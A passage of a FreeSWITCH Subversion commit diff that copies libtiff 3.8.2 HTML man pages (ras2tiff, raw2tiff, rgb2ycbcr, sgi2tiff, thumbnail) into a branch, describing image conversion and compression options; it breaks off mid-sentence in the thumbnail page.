+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ras2tiff</b> [ <i>options</i> ] <i>input.ras
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>ras2tiff</i> converts a file in the Sun rasterfile
+format to <small>TIFF.</small> By default, the
+<small>TIFF</small> image is created with data samples
+packed (<i>PlanarConfiguration</i>=1), compressed with the
+Lempel-Ziv &amp; Welch algorithm (<i>Compression</i>=5), and
+with each strip no more than 8 kilobytes. These
+characteristics can overridden, or explicitly specified with
+the options described below.</p>
+<!-- INDENTATION -->
+<p>Any colormap information in the rasterfile is carried
+over to the <small>TIFF</small> file by including a
+<i>Colormap</i> tag in the output file. If the rasterfile
+has a colormap, the <i>PhotometricInterpretation</i> tag is
+set to 3 (palette); otherwise it is set to 2 (RGB) if the
+depth is 24 or 1 (min-is-black) if the depth is not 24.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm, <b>-c
+jpeg</b> for the baseline JPEG compression algorithm, <b>-c
+zip</b> for the Deflate compression algorithm, and
+<b>&minus;c lzw</b> for Lempel-Ziv &amp; Welch (the
+default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Does not handle all possible rasterfiles. In particular,
+<i>ras2tiff</i> does not handle run-length encoded
+images.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/raw2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/raw2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/raw2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/raw2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/raw2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,553 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>RAW2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>RAW2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#GUESSING THE IMAGE GEOMETRY">GUESSING THE IMAGE GEOMETRY</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>raw2tiff &minus; create a <small>TIFF</small> file from a
+raw data</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>raw2tiff</b> [ <i>options</i> ] <i>input.raw
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>raw2tiff</i> converts a raw byte sequence into
+<small>TIFF.</small> By default, the <small>TIFF</small>
+image is created with data samples packed
+(<i>PlanarConfiguration</i>=1), compressed with the PackBits
+algorithm (<i>Compression</i>=<i>32773),</i> and with each
+strip no more than 8 kilobytes. These characteristics can
+overridden, or explicitly specified with the options
+described below.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;H &lt;number&gt;</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>size of input image file header in bytes (0 by default).
+This amount of data just will be skipped from the start of
+file while reading.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;w &lt;number&gt;</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>width of input image in pixels (can be guessed, see
+<b><small>GUESSING THE IMAGE GEOMETRY</small></b>
+below).</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;l &lt;number&gt;</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>length of input image in lines(can be guessed, see
+<b><small>GUESSING THE IMAGE GEOMETRY</small></b>
+below).</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;b &lt;number&gt;</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>number of bands in input image (1 by default).</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;d data_type</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>type of samples in input image, where <b>data_type</b>
+may be:</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>byte</i></p>
+</td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>8-bit unsigned integer (default),</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>short</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>16-bit unsigned integer,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>long</i></p>
+</td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>32-bit unsigned integer,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>sbyte</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>8-bit signed integer,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>sshort</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>16-bit signed integer,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>slong</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>32-bit signed integer,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>float</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>32-bit IEEE floating point,</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>double</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>64-bit IEEE floating point,</p>
+</td>
+<td width="61%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;i config</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>type of samples interleaving in input image, where
+<b>config</b> may be:</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>pixel</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>pixel interleaved data (default),</p>
+</td>
+<td width="61%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>band</i></p>
+</td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>band interleaved data.</p>
+</td>
+<td width="61%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;p photo</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>photometric interpretation (color space) of the input
+image, where <b>photo</b> may be:<i><br>
+miniswhite</i> white color represented with 0 value,<i><br>
+minisblack</i> black color represented with 0 value
+(default),</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="6" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>rgb</i></p>
+</td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>image has RGB color model,</p>
+</td>
+<td width="6%"></td>
+<td width="55%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>cmyk</i></p>
+</td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>image has CMYK (separated) color model,</p>
+</td>
+<td width="6%"></td>
+<td width="55%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>ycbcr</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+</td>
+<td width="6%">
+
+<p>image has YCbCr color model,</p>
+</td>
+<td width="55%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>cielab</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>image has CIE L*a*b color model,</p>
+</td>
+<td width="6%"></td>
+<td width="55%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>icclab</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>image has ICC L*a*b color model,</p>
+</td>
+<td width="6%"></td>
+<td width="55%">
+</td>
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="6%">
+
+<p><i>itulab</i></p>
+</td>
+<td width="6%"></td>
+<td width="6%">
+
+<p>image has ITU L*a*b color model,</p>
+</td>
+<td width="6%"></td>
+<td width="55%">
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>swap bytes fetched from the input file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;L</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>input data has LSB2MSB bit order (default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;M</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>input data has MSB2LSB bit order.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm (the
+default), <b>-c jpeg</b> for the baseline JPEG compression
+algorithm, <b>-c zip</b> for the Deflate compression
+algorithm, and <b>&minus;c lzw</b> for Lempel-Ziv &amp;
+Welch.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;r &lt;number&gt;</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+</table>
+<a name="GUESSING THE IMAGE GEOMETRY"></a>
+<h2>GUESSING THE IMAGE GEOMETRY</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>raw2tiff</i> can guess image width and height in case
+one or both of these parameters are not specified. If you
+omit one of those parameters, the complementary one will be
+calculated based on the file size (taking into account
+header size, number of bands and data type). If you omit
+both parameters, the statistical approach will be used.
+Utility will compute correlation coefficient between two
+lines at the image center using several appropriate line
+sizes and the highest absolute value of the coefficient will
+indicate the right line size. That is why you should be
+cautious with the very large images, because guessing
+process may take a while (depending on your system
+performance). Of course, the utility can&rsquo;t guess the
+header size, number of bands and data type, so it should be
+specified manually. If you don&rsquo;t know anything about
+your image, just try with the several combinations of those
+options.</p>
+<!-- INDENTATION -->
+<p>There is no magic, it is just a mathematical statistics,
+so it can be wrong in some cases. But for most ordinary
+images guessing method will work fine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/rgb2ycbcr.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/rgb2ycbcr.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/rgb2ycbcr.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/rgb2ycbcr.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/rgb2ycbcr.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>RGB2YCBCR</title>
+</head>
+<body>
+
+<h1 align=center>RGB2YCBCR</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>rgb2ycbcr &minus; convert non-YCbCr <small>TIFF</small>
+images to a YCbCr <small>TIFF</small> image</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>rgb2ycbcr</b> [ <i>options</i> ] <i>src1.tif src2.tif
+... dst.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>rgb2ycbcr</i> converts <small>RGB</small> color,
+greyscale, or bi-level <small>TIFF</small> images to YCbCr
+images by transforming and sampling pixel data. If multiple
+files are specified on the command line each source file is
+converted to a separate directory in the destination
+file.</p>
+<!-- INDENTATION -->
+<p>By default, chrominance samples are created by sampling 2
+by 2 blocks of luminance values; this can be changed with
+the <b>&minus;h</b> and <b>&minus;v</b> options. Output data
+are compressed with the <small>PackBits</small> compression
+scheme, by default; an alternate scheme can be selected with
+the <b>&minus;c</b> option. By default, output data are
+compressed in strips with the number of rows in each strip
+selected so that the size of a strip is never more than 8
+kilobytes; the <b>&minus;r</b> option can be used to
+explicitly set the number of rows per strip.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm (the
+default), <b>-c jpeg</b> for the JPEG compression algorithm,
+<b>-c zip</b> for the deflate compression algorithm, and
+<b>&minus;c lzw</b> for Lempel-Ziv &amp; Welch.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;h</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the horizontal sampling dimension to one of: 1, 2
+(default), or 4.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;v</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the vertical sampling dimension to one of: 1, 2
+(default), or 4.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/sgi2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/sgi2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/sgi2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/sgi2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/sgi2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,147 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>SGI2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>SGI2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>sgi2tiff &minus; create a <small>TIFF</small> file from
+an <small>SGI</small> image file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>sgi2tiff</b> [ <i>options</i> ] <i>input.rgb
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>sgi2tiff</i> converts a file in the <small>SGI</small>
+image format to <small>TIFF.</small> By default, the
+<small>TIFF</small> image is created with data samples
+packed (<i>PlanarConfiguration</i>=1), compressed with the
+Lempel-Ziv &amp; Welch algorithm (<i>Compression</i>=5), and
+with each strip no more than 8 kilobytes. These
+characteristics can overridden, or explicitly specified with
+the options described below.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm), <b>-c
+jpeg</b> for the baseline JPEG compression algorithm, <b>-c
+zip</b> for the Deflate compression algorithm, and
+<b>&minus;c lzw</b> for Lempel-Ziv &amp; Welch (the
+default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Explicitly select the planar configuration used in
+organizing data samples in the output image: <b>&minus;p
+contig</b> for samples packed contiguously, and <b>&minus;p
+separate</b> for samples stored separately. By default
+samples are packed.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Does not record colormap information.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/thumbnail.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/thumbnail.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/thumbnail.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/thumbnail.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/thumbnail.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,148 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>THUMBNAIL</title>
+</head>
+<body>
+
+<h1 align=center>THUMBNAIL</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>thumbnail &minus; create a <small>TIFF</small> file with
+thumbnail images</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>thumbnail</b> [ <i>options</i> ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>thumbnail</i> is a program written to show how one
+might use the SubIFD tag (#330) to store thumbnail images.
+<i>thumbnail</i> copies a <small>TIFF</small> Class F
+facsimile file to the output file and for each image an
